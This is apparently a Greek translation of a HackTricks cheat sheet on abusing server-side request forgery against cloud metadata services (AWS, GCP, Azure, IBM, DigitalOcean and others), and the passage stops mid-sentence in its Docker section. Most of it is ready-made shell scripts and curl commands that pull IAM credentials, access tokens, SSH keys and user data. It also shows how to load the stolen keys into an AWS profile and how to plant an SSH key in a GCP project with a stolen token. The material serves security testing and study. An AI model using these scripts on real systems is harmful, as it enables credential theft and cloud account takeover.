Cloud SSRF
Reading time: 22 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
AWS
Κατάχρηση SSRF στο περιβάλλον AWS EC2
Το metadata endpoint μπορεί να προσπελαστεί από μέσα σε οποιαδήποτε μηχανή EC2 και προσφέρει ενδιαφέρουσες πληροφορίες γι' αυτό. Είναι προσβάσιμο στη διεύθυνση: http://169.254.169.254
(πληροφορίες σχετικά με το metadata εδώ).
Υπάρχουν 2 εκδόσεις του metadata endpoint. Η πρώτη επιτρέπει την πρόσβαση στο endpoint μέσω GET αιτημάτων (έτσι οποιοδήποτε SSRF μπορεί να το εκμεταλλευτεί). Για την έκδοση 2, IMDSv2, πρέπει να ζητήσετε ένα token στέλνοντας ένα PUT αίτημα με ένα HTTP header και στη συνέχεια να χρησιμοποιήσετε αυτό το token για να αποκτήσετε πρόσβαση στο metadata με ένα άλλο HTTP header (έτσι είναι πιο περίπλοκο να καταχραστεί με ένα SSRF).
caution
Σημειώστε ότι αν η EC2 instance επιβάλλει το IMDSv2, σύμφωνα με τα έγγραφα, η απάντηση του PUT αιτήματος θα έχει ένα hop limit 1, καθιστώντας αδύνατη την πρόσβαση στο EC2 metadata από ένα κοντέινερ μέσα στην EC2 instance.
Επιπλέον, το IMDSv2 θα μπλοκάρει επίσης αιτήματα για την απόκτηση ενός token που περιλαμβάνουν το header X-Forwarded-For
. Αυτό γίνεται για να αποτραπεί η πρόσβαση από κακώς ρυθμισμένους αντίστροφους διακομιστές μεσολάβησης.
Μπορείτε να βρείτε πληροφορίες σχετικά με τα metadata endpoints στα έγγραφα. Στο παρακάτω σενάριο αποκτώνται κάποιες ενδιαφέρουσες πληροφορίες από αυτό:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
Ως ένα δημόσια διαθέσιμο παράδειγμα IAM credentials που έχει εκτεθεί, μπορείτε να επισκεφθείτε: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
Μπορείτε επίσης να ελέγξετε δημόσια EC2 security credentials στο: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Μπορείτε στη συνέχεια να πάρετε αυτά τα credentials και να τα χρησιμοποιήσετε με το AWS CLI. Αυτό θα σας επιτρέψει να κάνετε οτιδήποτε έχει άδειες να κάνει αυτός ο ρόλος.
Για να εκμεταλλευτείτε τα νέα credentials, θα χρειαστεί να δημιουργήσετε ένα νέο προφίλ AWS όπως αυτό:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
Σημειώστε το aws_session_token, αυτό είναι απαραίτητο για να λειτουργήσει το προφίλ.
PACU μπορεί να χρησιμοποιηθεί με τα ανακαλυφθέντα διαπιστευτήρια για να μάθετε τα δικαιώματά σας και να προσπαθήσετε να κλιμακώσετε τα δικαιώματα.
SSRF σε AWS ECS (Container Service) διαπιστευτήρια
ECS, είναι μια λογική ομάδα EC2 instances στην οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε τη δική σας υποδομή διαχείρισης κλάσματος, επειδή το ECS το διαχειρίζεται για εσάς. Εάν καταφέρετε να συμβιβάσετε την υπηρεσία που εκτελείται στο ECS, οι τελικές μεταδεδομένων αλλάζουν.
Εάν αποκτήσετε πρόσβαση στο http://169.254.170.2/v2/credentials/<GUID>, θα βρείτε τα διαπιστευτήρια της μηχανής ECS. Αλλά πρώτα πρέπει να βρείτε το <GUID>. Για να βρείτε το <GUID> πρέπει να διαβάσετε τη μεταβλητή environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI μέσα στη μηχανή.
Μπορείτε να είστε σε θέση να το διαβάσετε εκμεταλλευόμενοι μια Path Traversal στο file:///proc/self/environ
Η αναφερόμενη διεύθυνση http θα πρέπει να σας δώσει το AccessKey, SecretKey και token.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
note
Σημειώστε ότι σε ορισμένες περιπτώσεις θα μπορείτε να έχετε πρόσβαση στην EC2 metadata instance από το κοντέινερ (ελέγξτε τους περιορισμούς TTL του IMDSv2 που αναφέρθηκαν προηγουμένως). Σε αυτά τα σενάρια από το κοντέινερ μπορείτε να έχετε πρόσβαση τόσο στον ρόλο IAM του κοντέινερ όσο και στον ρόλο IAM του EC2.
SSRF για AWS Lambda
Σε αυτή την περίπτωση οι credentials αποθηκεύονται σε env variables. Έτσι, για να έχετε πρόσβαση σε αυτές πρέπει να αποκτήσετε πρόσβαση σε κάτι όπως file:///proc/self/environ
.
Το όνομα των ενδιαφερόντων env variables είναι:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Επιπλέον, εκτός από τα IAM credentials, οι λειτουργίες Lambda έχουν επίσης δεδομένα εκδήλωσης που μεταφέρονται στη λειτουργία όταν ξεκινά. Αυτά τα δεδομένα είναι διαθέσιμα στη λειτουργία μέσω της runtime interface και μπορεί να περιέχουν ευαίσθητες πληροφορίες (όπως μέσα στις stageVariables). Σε αντίθεση με τα IAM credentials, αυτά τα δεδομένα είναι προσβάσιμα μέσω τυπικού SSRF στο http://localhost:9001/2018-06-01/runtime/invocation/next
.
warning
Σημειώστε ότι οι credentials της lambda βρίσκονται μέσα στις env variables. Έτσι, αν η στοίβα σφαλμάτων του κώδικα lambda εκτυπώνει env vars, είναι δυνατόν να εξαχθούν προκαλώντας ένα σφάλμα στην εφαρμογή.
SSRF URL για AWS Elastic Beanstalk
Ανακτούμε το accountId
και την region
από το API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Στη συνέχεια, ανακτούμε το AccessKeyId
, SecretAccessKey
και Token
από το API.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Στη συνέχεια, χρησιμοποιούμε τα διαπιστευτήρια με aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
.
GCP
Μπορείτε να βρείτε εδώ τα έγγραφα σχετικά με τα endpoints μεταδεδομένων.
SSRF URL για το Google Cloud
Απαιτεί την HTTP κεφαλίδα Metadata-Flavor: Google
και μπορείτε να αποκτήσετε πρόσβαση στο endpoint μεταδεδομένων με τις παρακάτω διευθύνσεις URL:
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
Ενδιαφέροντα endpoints για την εξαγωγή πληροφοριών:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Η Beta ΔΕΝ απαιτεί header αυτή τη στιγμή (ευχαριστώ Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
caution
Για να χρησιμοποιήσετε το εξαγόμενο token υπηρεσίας μπορείτε απλά να κάνετε:
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list
# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
Προσθέστε ένα κλειδί SSH
Εξαγάγετε το token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Ελέγξτε το πεδίο εφαρμογής του token (με την προηγούμενη έξοδο ή εκτελώντας το παρακάτω)
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Τώρα σπρώξτε το κλειδί SSH.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
Το endpoint μεταδεδομένων λειτουργεί με τον ίδιο τρόπο όπως στα VMs αλλά χωρίς ορισμένα endpoints:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Digital Ocean
warning
Δεν υπάρχουν πράγματα όπως οι AWS Roles ή οι GCP service account, οπότε μην περιμένετε να βρείτε διαπιστευτήρια bot μεταδεδομένων
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- Πρέπει να περιέχει την κεφαλίδα
Metadata: true
- Δεν πρέπει να περιέχει μια κεφαλίδα
X-Forwarded-For
tip
Ένα Azure VM μπορεί να έχει συνδεδεμένη 1 διαχειριζόμενη ταυτότητα συστήματος και πολλές διαχειριζόμενες ταυτότητες χρηστών. Αυτό σημαίνει βασικά ότι μπορείτε να παριστάνετε όλες τις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες σε ένα VM.
Όταν ζητάτε ένα διακριτικό πρόσβασης στο σημείο μεταδεδομένων, από προεπιλογή η υπηρεσία μεταδεδομένων θα χρησιμοποιήσει τη διαχειριζόμενη ταυτότητα που έχει ανατεθεί στο σύστημα για να δημιουργήσει το διακριτικό, εάν υπάρχει κάποια διαχειριζόμενη ταυτότητα που έχει ανατεθεί στο σύστημα. Σε περίπτωση που υπάρχει μόνο ΜΙΑ διαχειριζόμενη ταυτότητα που έχει ανατεθεί από τον χρήστη, τότε αυτή θα χρησιμοποιηθεί από προεπιλογή. Ωστόσο, σε περίπτωση που δεν υπάρχει διαχειριζόμενη ταυτότητα που έχει ανατεθεί από το σύστημα και υπάρχουν πολλές διαχειριζόμενες ταυτότητες που έχουν ανατεθεί από τον χρήστη, τότε η υπηρεσία μεταδεδομένων θα επιστρέψει ένα σφάλμα που υποδεικνύει ότι υπάρχουν πολλές διαχειριζόμενες ταυτότητες και είναι απαραίτητο να καθορίσετε ποια να χρησιμοποιήσετε.
Δυστυχώς, δεν μπόρεσα να βρω κανένα σημείο μεταδεδομένων που να υποδεικνύει όλες τις ΜΙ που έχει συνδεδεμένες ένα VM, οπότε η ανακάλυψη όλων των ανατεθειμένων διαχειριζόμενων ταυτοτήτων σε ένα VM θα μπορούσε να είναι μια δύσκολη εργασία από την προοπτική μιας Red Team.
Επομένως, για να βρείτε όλες τις συνδεδεμένες ΜΙ μπορείτε να κάνετε:
- Λάβετε συνδεδεμένες ταυτότητες με az cli (αν έχετε ήδη παραβιάσει έναν κύριο στο Azure tenant)
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
- Λάβετε συνδεδεμένες ταυτότητες χρησιμοποιώντας τη διαχειριζόμενη ταυτότητα που έχει ανατεθεί από προεπιλογή στα μεταδεδομένα:
export API_VERSION="2021-12-13"
# Λάβετε διακριτικό από τη διαχειριζόμενη ταυτότητα που έχει ανατεθεί από προεπιλογή
export TOKEN=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
| jq -r '.access_token')
# Λάβετε τις απαραίτητες λεπτομέρειες
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
# Δοκιμάστε να λάβετε τις συνδεδεμένες ΜΙ
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- Λάβετε όλες τις καθορισμένες διαχειριζόμενες ταυτότητες στο tenant και brute force για να δείτε αν κάποια από αυτές είναι συνδεδεμένη στο VM:
az identity list
caution
Στις αιτήσεις διακριτικών χρησιμοποιήστε οποιαδήποτε από τις παραμέτρους object_id
, client_id
ή msi_res_id
για να υποδείξετε τη διαχειριζόμενη ταυτότητα που θέλετε να χρησιμοποιήσετε (docs). Αν καμία, θα χρησιμοποιηθεί η διαχειριζόμενη ταυτότητα που έχει ανατεθεί από προεπιλογή.
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Υπηρεσίες Azure App & Functions & Λογαριασμοί Αυτοματοποίησης
Από το env μπορείτε να αποκτήσετε τις τιμές των IDENTITY_HEADER
και IDENTITY_ENDPOINT
. Αυτές μπορείτε να τις χρησιμοποιήσετε για να συγκεντρώσετε ένα token για να μιλήσετε με τον διακομιστή μεταδεδομένων.
Οι περισσότερες φορές, θέλετε ένα token για έναν από αυτούς τους πόρους:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
caution
Στις αιτήσεις token χρησιμοποιήστε οποιαδήποτε από τις παραμέτρους object_id
, client_id
ή msi_res_id
για να υποδείξετε την διαχειριζόμενη ταυτότητα που θέλετε να χρησιμοποιήσετε (docs). Αν καμία, θα χρησιμοποιηθεί η προεπιλεγμένη MI.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
warning
Σημειώστε ότι στην IBM από προεπιλογή τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανό να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμη και αν βρίσκεστε μέσα σε ένα VM της IBM cloud.
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Documentation για τις υπηρεσίες μεταδεδομένων διαφόρων πλατφορμών περιγράφεται παρακάτω, επισημαίνοντας τις μεθόδους μέσω των οποίων μπορεί να αποκτηθεί πληροφορία ρύθμισης και εκτέλεσης για τις περιπτώσεις. Κάθε πλατφόρμα προσφέρει μοναδικά endpoints για την πρόσβαση στις υπηρεσίες μεταδεδομένων της.
Packetcloud
Για την πρόσβαση στα μεταδεδομένα του Packetcloud, η τεκμηρίωση μπορεί να βρεθεί στο: https://metadata.packet.net/userdata
OpenStack/RackSpace
Η ανάγκη για ένα header δεν αναφέρεται. Τα μεταδεδομένα μπορούν να αποκτηθούν μέσω:
http://169.254.169.254/openstack
HP Helion
Η ανάγκη για ένα header δεν αναφέρεται εδώ επίσης. Τα μεταδεδομένα είναι προσβάσιμα στο:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Η Oracle Cloud παρέχει μια σειρά από endpoints για την πρόσβαση σε διάφορες πτυχές μεταδεδομένων:
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
Alibaba
Η Alibaba προσφέρει endpoints για την πρόσβαση σε μεταδεδομένα, συμπεριλαμβανομένων των IDs περιπτώσεων και εικόνων:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Το Kubernetes ETCD μπορεί να περιέχει API keys, εσωτερικές διευθύνσεις IP και θύρες. Η πρόσβαση αποδεικνύεται μέσω:
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Τα μεταδεδομένα του Docker μπορούν να αποκτηθούν τοπικά, με παραδείγματα για την ανάκτηση πληροφοριών κοντέινερ και εικόνας:
- Απλό παράδειγμα για την πρόσβαση στα μεταδεδομένα κοντέινερ και εικόνας μέσω του Docker socket:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
- Μέσα στο κοντέινερ, χρησιμοποιήστε curl με το Docker socket:
